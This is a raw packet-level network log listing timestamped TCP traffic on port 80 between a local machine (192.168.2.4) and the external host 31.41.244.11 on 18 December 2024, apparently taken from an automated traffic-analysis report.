Dec 18, 2024 17:08:12.429800987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.429915905 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.429970026 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.430783987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.431068897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.431130886 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.431920052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.432019949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.432123899 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.432188034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.432912111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.432962894 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.433041096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.433090925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.434178114 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.434238911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.434243917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.434292078 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.435065985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.435132980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.435144901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.435235023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.436122894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.436177015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.436216116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.436264992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.437114000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.437166929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.437261105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.437314034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.438297033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.438352108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.438649893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.438703060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.439367056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.439420938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.439466953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.439515114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.440380096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.440437078 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.440510988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.440558910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.441535950 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.441587925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.441667080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.441762924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.442981005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.443046093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.443058968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.443104982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.444067955 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.444294930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.444356918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.445226908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.445287943 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.445338011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.445420027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.446199894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.446216106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.446255922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.446290016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.447242975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.447309017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.447362900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.447421074 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.448405027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.448430061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.448456049 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.448492050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.449148893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.449203968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.449266911 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.449312925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.450090885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.450143099 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.450301886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.450352907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.451255083 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.451354027 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.451364040 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.451452971 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.452212095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.452261925 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.452389002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.452440977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.453285933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.453376055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.453468084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.453521013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.454473972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.454535007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.454576015 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.454619884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.455600023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.455615997 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.455657959 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.455687046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.456713915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.456731081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.456768990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.456794977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.457722902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.457748890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.457784891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.457819939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.458870888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.458933115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.458977938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.459021091 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.459676981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.460375071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.596585035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.596632957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.596663952 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.596698999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.597109079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.597168922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.597196102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.597268105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.598030090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.598138094 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.598186970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.598246098 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.598887920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.598999977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.599076033 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.599132061 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.600147963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.600204945 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.600333929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.600390911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.601119995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.601253033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.601300001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.601350069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.602271080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.602333069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.602389097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.602438927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.603360891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.603451967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.603518009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.603583097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.604481936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.604549885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.604576111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.604645967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.605458021 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.605515003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.605561972 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.605662107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.606487036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.606580973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.606587887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.606631994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.607548952 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.607697010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.607754946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.607831001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.609194994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.609268904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.609503031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.609694004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.609750032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.609900951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.609954119 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.610855103 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.610903025 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.611078024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.611135006 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.612035036 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.612107038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.613650084 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.613717079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.613820076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.613857031 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.613913059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.614542961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.614612103 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.614837885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.615217924 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.615387917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.615442038 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.615488052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.615572929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.616571903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.616628885 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.616750002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.616801977 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.617506981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.617572069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.617624998 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.617676973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.618592024 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.618694067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.618760109 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.618815899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.619764090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.619827032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.619950056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.620181084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.620862007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.621072054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.621113062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.621165991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.622045994 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.622107983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.622188091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.622350931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.622893095 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.622927904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.622953892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.622977972 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.623887062 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.623950958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.624006987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.624059916 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.624907970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.624975920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.625171900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.625220060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.626127958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.626203060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.626213074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.626266003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.626997948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.627058029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.627079010 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.627132893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.627940893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.627994061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.628009081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.628043890 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.628974915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.629139900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.629179955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.629203081 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.630162001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.630222082 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.630367041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.630423069 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.631222963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.631464958 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.631541967 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.631603003 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.632329941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.632390976 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.632672071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.632730007 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.633378029 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.633439064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.633495092 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.633909941 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.634380102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.634517908 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.634579897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.635435104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.635497093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.635551929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.635688066 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.636997938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.637047052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.637064934 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.637096882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.638276100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.638330936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.638371944 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.638422012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.638942957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.638978958 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.639000893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.639025927 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.640136003 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.640171051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.640223980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.641328096 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.641365051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.641392946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.641417980 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.641936064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.641993046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.642117977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.642165899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.643018961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.643079042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.643177032 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.643354893 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.644073009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.644131899 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.644365072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.644421101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.645742893 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.645778894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.645807981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.645832062 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.646797895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.646832943 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.646862984 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.646881104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.647769928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.647806883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.647862911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.648893118 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.648945093 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.648946047 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.649003029 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.649976969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.650012970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.650039911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.650054932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.651029110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.651087046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.651145935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.651213884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.652102947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.652168036 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.652208090 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.652410984 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.653151035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.653212070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.788855076 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.788882017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.788965940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.789072990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.789139986 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.789225101 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.790256977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.790318966 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.790369034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.790426970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.791346073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.791410923 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.791457891 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.791508913 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.792298079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.792350054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.792418957 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.792469978 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:12.793414116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:12.793507099 CET	49749	80	192.168.2.4	31.41.244.11
